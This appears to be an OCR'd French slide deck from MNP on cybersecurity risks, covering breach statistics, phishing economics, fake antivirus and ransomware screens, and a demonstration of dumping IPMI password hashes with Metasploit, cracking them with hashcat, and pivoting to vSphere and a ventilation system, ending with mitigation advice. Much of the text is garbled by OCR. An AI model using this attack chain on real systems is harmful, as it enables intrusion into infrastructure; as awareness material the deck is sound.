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EXEMPLES D’ICI MNP..

Casino Rama: La poursuite vise 50 millions de dollars en " ST
dommages-intéréts, en plus de 10 millions de dollars en B s
dommages-intéréts punitifs, frais juridiques et surveillance S,
de crédit payée pour les demandeurs.
L'Université de Calgary paie environ 20 000 $ pour une Un faux fournisseur dérobe 3,3 millions 3
violation de Ransomware afin de récupérer ses dossiers de ~ Future Electronics

recherche. 2y
La faille qu’a subie Equifax a divulgué des renseignements
privés sur plus de 143 millions de clients et environ 100 000
Canadiens ont été touchés

Future Electronics subit une cyberfraude de 3,3 millions de
dollars

v

Accusil = Actualites = Justice et affaires criminelles = Affaires criminelles » Un faux foumisseur dérobe 3,3 millions & Future Elsctn

v

v

v

Page 4

COMPTABILITE ¥ CONSULTATION ¥ FISCALITE MNP.ca



MNP..
QUI SONT DERRIERE LES CYBER ATTAQUES?

- Etats et nations
* Pirates organisés
* Pirates non organiseés

 Employé: technique 6
- Employé: Affaires i-i

* Ancien employé malveillant

PPPPP
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QUI?

MNP..
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QUELLES SONT LES CIBLES?
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4 |n VERIS we model this stage of the attack as aloss of Integrity based on the influencing of human behavior.
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Server
User Device
Person

M media
Kiosk/Terminal

Network

Figure 6.

Percent of breaches per asset
category over time, (n=7,736)
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MNP..

. Web App Attacks
Insider Misuse

[l ~0s Intrusions

. Payment Card Skimmers

B Miscellaneous Errors

B Physical Theft/Loss

. Denial of Service

. Cyber-Espionage

B Crimeware

Figure 26.

2006 2007 2008 2009 2010 2011 2012 2013 2014 Frequency of incident classification
patterns over time across securityincidents
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COMMENT?
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oU? (2017)

Adult population of 20 countries - 3.1 billion

Online population (57%) - 1.8 billion

Experienced Cybercrime — 978 million

France Hong Kong India Iindonesia Italy Japan Netheriands Singapore Spain UsA
19.31 241 186.44 59.45 16.44 17.74 343 1.26 16.20 143.70

Source: Symantec
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QUAND?
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MNP..

Figure 7.

Time to compromise and exfiltration.
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POURQUOI?
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Ingénierie sociale

L’'INGENIERIE SOCIALE

Lingénierie soclale consiste en une sériede technigues visant & amadouer,
duper ou tromper une personne cible en vue d'obtenir delle une information
ou uncomportement guelle n‘aurait pas donnée ou gu'elle n‘aurait pas eu
& temps normal,

\AAAA

© Hagus | A sighe s e | e aRss
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SPAM - Des attaques plus ciblees

Figure 1: Threat Conversion Pipeline

99%
Mass
Attack
3%
1,000,000 5% 50% 8
. e
targeted blocked opened clicked converted  victimized
users (A) (B) (C) through (B) (E) users
1,000
i 70% 50% 50%
99%
Targeted
Attack

Source: Cisco Email Attacks: This Time It's Personal Page 15
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MOTIVATIONS DERRIERE LES MNP...
ATTAQUES CIBLEES

Table 3. Economics of Mass Phishing vs. Spearphishing Attacks

Example of a Mass Phishing Spearphishing

Typical Campaign Attack Attack
(Single Campaign) (Single Campaign)

(A) Total Messages

Sent in Campaign 1,000,000 1,000
(B) Block Rate 99% 99%
(C) Open Rate 3% 70%
(D) Click Through Rate 5% 50%
(E) Conversion Rate 50% 50%

Victims 8 2
Value per Victim $2,000 $80,000

Total Value $16,000 $160,000
from Campaign

Total Cost for $2,000 $10,000
Campaign
Source: Cisco Email Attacks: This Time It's Personal

Total Profit $14,000 S15u,uu0
from Campaign
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Locateus Contactus Francais

Sign In to Online Banking for Business

Customer ID: |

User ID:
Password:

Forgot my password

Sig_n In i

. PR Trusteer

Secure Your Browser

Privacy | Legal | Security
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Exemple: POPUP - AV/Cryptolocker

Antivirus Live

Protecting every. secofit...

SENCRL srl

A &_Perf.arm scan

] Adjust settings Current state: & Scan complete
@C:\WlNDOWS\$hf_m|'g$\KBﬂ9439l\update\updspapi.dll Total: 140 Threats: 2
i Get updates

"f Malware database status: © Up to date - Signature version:

[ Activate now
L. Activate Antivirus Live now to be sure that maximal protection is applied.

h Hem & Support Threat name Severity Description (click on item for more information) r 3
LdPinch V & Critical A variant of the Kev Logger that captures passwords as th - —‘_—“

Advanced Srealth Email

k Critical Advanced Stealth Email Redirector (Advanced SER) is a pr.

Security Warning

o rotact Application cannok be executed, The file excel.exe is infected,
. Your PC s currently unp @ Do wou wank to ackivate your antivirus saftware now?
= and may be exposed to spyware

adware, trojans and viruses = Scan progress

. Yes Mo

INFILTRATIOH ALERT
“our computer is being attacked by an Internet
Wirus. It could be a password-stealing attack, a
trojan - dropper ar similar,

DETAILS

Attack from: 116.78.130.121, port 12705
Attacked port: 58088

6 windows Security alert Threat: Win32/Nugel.E

+
Windows reparts that computer is infecked. Ant| Do you want block this attack?

helps ta protect vour computer against viruses 4
security threats, Click here For the scan you cal
syskem might be at risk now,

Fning = = ! - 1l & ; i Page18
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System Tasks SYStem SCan progress
] Ve s tmm i ; =
= Shared Doouments Py Diocumerits
= *_ﬁ—"ﬂmn"r Lok i I @ 17 trojans I"'J @ 12 visuses
B Chrn= e setivos Hard drives
0ther Places - =

g Local Disk {C:] Lacal Dk {0}
W My Metwork aces w @ 24 trojans t:&’ B} 32 trojans:
L3 My Dowments e
=) Sharer] Dogumente ]
D‘ Contral Panel I;E;:' SR

LI Ll L]
Nowy scaninang: CEWMDM.EN
Threats and achors:

Mame: Righ lewel Date Fites mfeched Lt

¥ nackatack Critical 15,04, 2008 35 Ragiter & Remove

@ Email-WormWin3ZHyd  Crtical 18,04, 2008 35 Regater & Remave

] Trojan-Downboaderwin  Critical 16,04, 2005 35 Aegiater & Remive

Descripkon:

This pragram is potentialy dangerous far your syatem. HAckaTack steaing passwards, medit cards and other personal

imfnrmetion from your computer.

Audvice:

Yo reed bo remove this fread as soon a5 possiel

# Fulsysten deerun |
Inorder fo profect your computer Safety Canter detacted saueral wroses and troyens which nesd to be mmadistshy
remaued.
Figure 6. A bogus FAKEAV scan will then proceed.
After the bogus FAKEAV scan is completed, the user will be pressured to download and
install a FAKEAY binary.
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on

Your personal files are encrypted!

Your mportant fies encryption produced on this computer: photos, videos,
documents, etc. Here 5 a complete Ist of encrypted files, and you can personaly verfy
this.

Encryption was produced usng 3 unique public key RSA-2048 generated for ths
computer. To decrypt fies you need to obtain the private key.

The single copy of the prvate key, which wil alow you to decrypt the files, located
on a secret server on the Internet; the server wil destroy the key after 2 tme
spechied n ths wndow. After that, nobody and never will be able to restore files..

To obtain the private key for this computer, which wil automaticaly decrypt files, you
need to pay 100 USD / 100 EUR / smiar amount in another curency.

Cick «Nexts to select the method of payment and the cumency.

Any attempt to remove or damage this software will lead to the mmediate
destruction of the private key by server

SENCRL srl
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QU'EST-CE QUE LE PIRATAGE? MNP...

* L’exploitation d'une vulnérabilité technique
* Erreurs humaines ou de configuration
« Comprend généralement I’exploitation d’'une série d'autres faiblesses

Page 21
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EXEMPLE: IPMI MNP..

\bridwide [change] Log In | Account | Register My Cisco

el e som - . puvers Y
TOOUCS TViCES - i RS — — s
CIsCO T i

Cisco Bug: CSCuj84245 - UCS-C IPMI RAKP allows remote attackers to obtain
password hashes

Last Modified
Oct 24, 2016

Product
Cisco Unified Computing System

Known Affected Releases
1.5(11)

Description (partial)
<b>Symptom:</b>
A vulnerability in the Cisco Integrated Management Contoller could allow an authenticated,

A vulr-!erability in the Cisco Integrated Management Contoller could allow an authenticated
remote attacker to conduct offline password guessing attacks

The vulnerability is due to improper security restrictions provided by the RMCP Authenticated
Key-Exchange (RAKP) Protocol. An authenticated, remote attacker could exploit the

vulnerability by sending malicious authentication requests to the IPMI 2.0 protocol. Successful
exploitation could allow the attacker to bypass authentication and gain unauthorized access to

the system, which could be used to conduct further attacks
Page 22
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CIBLE: Cisco Integrated Management Controller

msf auxiliary( ) > run

("] Sending IPMI requests to 10.20.255.72->10.20.255.72 (1 hosts)
[+] T020-285-72:623 - IPMI - IPMI-2.0 UserAuth(auth-msg;—autn user, non null us

er) PassAuth(oem auth, password, md>, md2) Level(1.5, 2.0)
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
msf auxiliary( ) > |

Page 23
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MNP..

msf auxiliary( ) > run

[*] Sending IPMI requestis to 10.20.255./2+>10.20.255.72 (1 hosts)

I
[+] 10.20.255.72:623 = IPMI - VULNERABLE: Accepted a session open request for ¢

pher zero
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
msf auxiliary( =

Page 24
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~# ipmitool

Main Power Fault
Power Control Fault
Power Restore Policy
Last Power Event
Chassis Intrusion
Front -Panel Lockout
Drive Fault
Cooling/Fan Fault
Sleep Button Disable
Diag Button Disable
Reset Button Disable
Power Button Disable

Diag Button Disabled

Reset Button Disabled:
Power Button Disabled:

-1 lanplus

. on

false
inactive
false
false
always-on

inactive
inactive
false
false

: not allowed
: not allowed
: allowed
: allowed
Sleep Button Disabled:

false
false
false
false

-CO -H 10.20.255.72 -U admin -P t3stpasswOrd P

MNP..
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MNP..

Décharger les hachages de mot de
passe:

msf auxiliaryl ) = run

[+] 10.20.255.72:623 - IPMI

- Hash found: admin:6d06892f
podfBeb70119b9878dab76e431cled5aaba560de28f8831148db2deb]

140561646d696e: fO3c 18566442184dB83cldl flcadf@Bal498d4c87e
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Page 26

COMPTABILITE 3 CONSULTATION ¥ FISCALITE MNP.ca



MNP..

“Hashinator”

26 lettres miniscules (a-z)

26 lettres majuscules (A-Z)

10 chiffres (0-9)

8 caractéres pour le mot de passe

26+26+10 = 62
62" 8=
218,340,105,584,896

...0U < 2 jours

Page 27
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INFO: approaching final keyspace, workload adjusted

f7a0df1801200002f63d0c328641ladeace22884220096a179270c2bB69e06b48TaB831412a1927111e
8db2de615eddl1e2bS60a80c6dh8b7ec140561646d696e : 0686e03152b9cefa46e48fc82e94279cho
Geec7ab:w () rk

Session.Name...: oclHashcat
: Cracked

Rules.Type.....: Generated (90000)
Input.Mode : File (/root/projects,/ AN working /cxt)
Hash.Target : f7a0df1801200002f63doc3864iadeace”Z2884a29. ..
Hash.Type : IPMIZ RAKP HMAC-SHAl
Time.Started...: Mon Jan 4 18:51:01 2016 (2 secs)

. GPU ...: 5054.6 kH/s

.GPU.#2...: 5233.3 kH/s

.GPU.#3...: 5281.1 kH/s

.GPU.#4...: 5252.1 kH/s

.GPU.#5...: 5239.2 kH/s

; : 26060.2 kH/s
1/1 (100.00%) Digests, 1/1 (100.00%) Salts

Progress : 52308480/110880000 (47.18%)
Rejected : 0/52308480 (0.00%)
Restore.Point..: 0/1232 (0.00%)

.GPU.#1...: 35% Util, 39c Temp,

.GPU.#2...: 61% Util, 34c Temp,

.GPU.#3...: 59% Util, 42c Temp,

.GPU.#4...: 61% Util, 37c Temp,

.GPU.#5...: 36% Util, 43c Temp,
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Permet un acces complet a I'information

¥ 10.20.255.70 - vSphere Chiar

L
MNP..
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1
File Edit View Inventory Administrotion Plug-ins Help
E B | rvome b 48 twentory b [l Inventory
h o
a &
=2 E ;;-«’f' 255,70 & VMware ESX), 5.5.0, 1623387
[ BACnet Controller
& core-01
& core-02 =
& core02 Manufacturer Cisco Systems Inc CPU usage: 1802 MHEZ Capacity
G core-04 Model: C260-BASE-2649 o 0% 2.353Gr
£ core-0S CPU Cores: 20 CPUSs x 2.393 GHz Memory usage: 84191.00 MB Capadty
o
s core-06 Processor Type: Intel(R) Xeon(R) CPU E7- b b e aets 130953.90 MB
L‘_ﬁ core-07 2870 @ 2.40GHz
&y core-08 icense: VMware vSphere 5 Enterprise Storage Drive Type Capacity
core-09 Plus - Licensad for 2
G cor SR Pk i@ datastorel Non-SD 21778
\f_'_ﬁ core-10 Processor Sockets: 2
L_'ﬂ COreos Ff(ﬂlﬂm VITVWIE CW?SWSU&E“ 10 « i
& Dashboard Server ]
&) Deskiop Logical Processors: 40 Nétwork Type
& Triacta Workstation Hyperthreading: Active ® CermaMetering ..  Standard port growp
{5 VMware vCenter Server Ap | | Number of NICs: 8 § IPCamersVLAN  Standard portgrow
& vSphere Management Assis | | State: Connected 8 Internet Link (Publ... Standard port group
Virtual Machines and Templates: 17 #$  LutronLightingN.. Standard port group F
vMotion Enabled: Nja ® TractaMetering.. Standard port group
VMware EVC Mode: Disabled 8 BasNetwork Standard port group
Base Building Net- Standard port groi
vSphere HA State @ NjA B unding ! portgop
‘ il
Host Configured for FT: NiA L
Active Tasks: Fault Tolerance
Host Profile: N/A Fault Tolerance Version: 5.0.0+5.0.0-5.0.0
Image Profile: ESX-5,5.0-20140302001-5t... -
- R virhual Machine Counts
Profile Compliance: MiA
Directoath 1/0: ? : & Total Primary VMs: o
SCEATI: becaadecdie Powered On Primary VMs: 0
' P Total Secondary ViMs:
I Powered On Secondary ViMs:
Host Management
‘ m L - = 2 inm bl
Recent Tasks x|
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Une fois I'acces obtenu, nous "pivotons™ MNE..

Q o Q2 0 o) lo a

‘ T 0
L ‘ ¥ ‘ df . | 5 o
i} S la 3 T o
— £l T 3 @ o

IE :r—i: 2 — - - — .= S ¥ Page 30
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Acces au systeme de ventilation

SENCRL srl

CT1 FAN: 0.0 Hz
CT1 Heater: Off
CT2 FAN: 0.0 Hz
CT2 Heater: Off
CT3 FAN: 0.0 Hz
CT3 Heater: Off

W FM-7:-2gpm .

HEX CW EWT:17.6C
HEXCWLWT:17.9C ¢
°

P
3
X

COMPTABILITE 3 CONSULTATION ¥ FISCALITE

OA Tmp Dry Bulb:

OA Tmp Wet Bulb:

CT BYP VLV: 100.0 %Open
CT SUMP TMP:14.8 C

CTEWT:19.0C
CTLWT: 200C
FM-4: -5 gpm

FM-5: -2 gpm

"

FM-6:-3'gpm

FM-2: -2 gpm
CH2 CH LWT:13.7C

S, ]

v

65C
57C

FM-1: -1 gpm
CH1CHLWT:121C

]

]

o 22

HEX CHW EWT:15.7C
HEX CHW LWT:14.7 C

L
L]

®Pri Tmp: 14.0 C

Plant Status }

Plant Enabled:
Plant Mode:
Cool Mode:
Refrig Leak:

CHWS Setpoint:
CHWS Temp:
CHWR Temp:

Total Plant kW/Ton:
Monthly Plant kWHr:

Cooling Capacity:
Chilled Water Flow:

Pri Loop Balance:

Num Vivs Open:
Sec Loop DP Setpoint:

CWS P1:0.0Hz
CWS P2: 0.0 Hz
CWS P3: 0.0 Hz
CWS P4: 0.0 Hz

Disabled
Auto
HeatExch
Normal

83C

99C

138C

4.000 kWIToly,
8662 kW-hr

0.0tR
0 gpm

Negative

33
15.00 psi

CHW SWT:99C
FM-3:0 gpm
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Les risques MNR..

* La cybersécurité est devenue progressivement une priorité pour diverses organisations
qui disposent souvent de renseignements qui sont ciblés par les pirates informatiques
(ex. : information financiere, dossiers des employés, renseignements confidentiels).

* |l y a également des risques considérables lors des fusions et acquisitions puisque les
systemes informatiques sont souvent intégrés sans une analyse des failles de sécurité
(ex. Verizon a réduit son prix d’achat de Yahoo de $350 millions suite a la découverte
d’une cyberattaque).

* Au cours des dernieres années, des incidents tres médiatisés sont survenus et ils
illustrent I'impact potentiellement dévastateur d’'une violation des données sur I'avenir
financier et la réputation d’'une entreprise. En outre, ces incidents démontrent
I'importance d’inclure des clauses de vérification de cybersécurité dans les ententes
commerciales.

Page 32
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MNP..

Stratégie de mitigation des risques
 Premiérement I'identification des risques doit étre
basée sur vos risques commerciaux uniques

— Réputation / negligence
— Données clients / Protection des renseignements personnels

. Choisir un cadre d’évaluation M

— PCI DSS (Cartes de crédit)
\R~

— PIPEDA, Code civil
— CSC, NIST, CIS

/

aaaaaa
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csc MNP..

o —~ ~ m = un o ~ ] ] il
- ~ ™ g n (r.] ~ (-] o - - - - - - - - - - ~ L)
o o |9} |5} |&) |8 15 15} o |9} 15 o (o] [=] (S 5] | =] (9] o |9} v
a8 g g g 8 el i g ¢ g g 8 8 8 8 8 8 Blsd
Compliant 0 3 3 0 2 0 7 3 2 B 0 1 1 3 1 2 1 0 0 0 33
Non-Compliant 6 3 : 8 6 6 1 3 4 0 6 9 8 4 8 11 3 4 7 8 107
Overall Coverage m 75% | 43% H 25% 88% | 50% 0% | 11%| 43% | 11% | 15% | 25% 24%

System . 75% | 43% | 0% 22% | 0% 8% 50% | 33% |
n,

. n/a nfal nfal nfal nfa| nfa| nfa| n/a| nfa| 41%
Network n/a| nfa fa| nfal nfa| nfa| nfal| nfa| n/a b | 10% 11%| nfa| 11% | nfa| n/a
Application nfa|l nfal| nfa| nfa| nfa| n/a nfa| nfa| n/fa nfa nfa| 43% | n/a | 14% | 20%

12-15-2014
12-10-2013

25% |
25%

43%

20%
15%

25%

, . L ]
T 20% S
40% +~ . 1 :
30% 1 15% - /
20% S—
10% -l ] 10% -

P -

x& @0 O

L) Qg, Q'\\(? 0% — —
&

12-10-2013 12-15-2014 Current Page 34

COMPTABILITE 3 CONSULTATION » FISCALITE




, MNRP..
REDUCTION DES RISQUES (CSC)

Center for Internet Security déclare que si vous mettez en ceuvre
ces 5 stratégies, vous réduirez votre risque de 85%

"\ Center for
Internet Security

CSC # 1 Inventaire des appareils autorisés et non autorisés

CSC # 2 Inventaire des logiciels autorisés et non autorisés

CSC #3 Configurations sécurisées pour le matériel et les logiciels

CSC # 4 Evaluation continuelle de la vulnérabilité et remédiation

CSC # 5 Utilisation controlée des privileges administratifs

Page 35
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MNP..

Pour nous rejoindre:

Tom Beaupré
Chef CyberSécurité - Québec

514.228.7844
Tom.Beaupre@mnp.ca
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MNP..

La matiere présentée aujourd’hui donne un apergu général du théme abordé et est fournie uniquement a des fins informatives.
Par conséquent, elle pourrait ne pas convenir a un cas en particulier ou a un ensemble de circonstances ou de faits donnés.
Elle est établie en tenant compte de lois, de réglements et de pratiques qui peuvent faire I'objet de modifications et qui ne
correspondent pas forcément au point de vue de MNP SENCRL, srl. Les renseignements qu’elle renferme sont a jour a la date
de la publication et ne sauraient étre considérés comme un substitut aux conseils d’'un professionnel. Bien que le contenu ait été
préparé avec soin, MNP SENCRL, srl et les conférenciers déclinent toute responsabilité en cas de perte ou de dommages
pouvant étre subis par quiconque décide de se fier a ces renseignements. N’hésitez pas a communiquer avec un professionnel
du bureau de MNP de votre région pour obtenir des conseils adaptés a votre situation.

© MNP SENCRL, srl 2018. Tous droits réservés.
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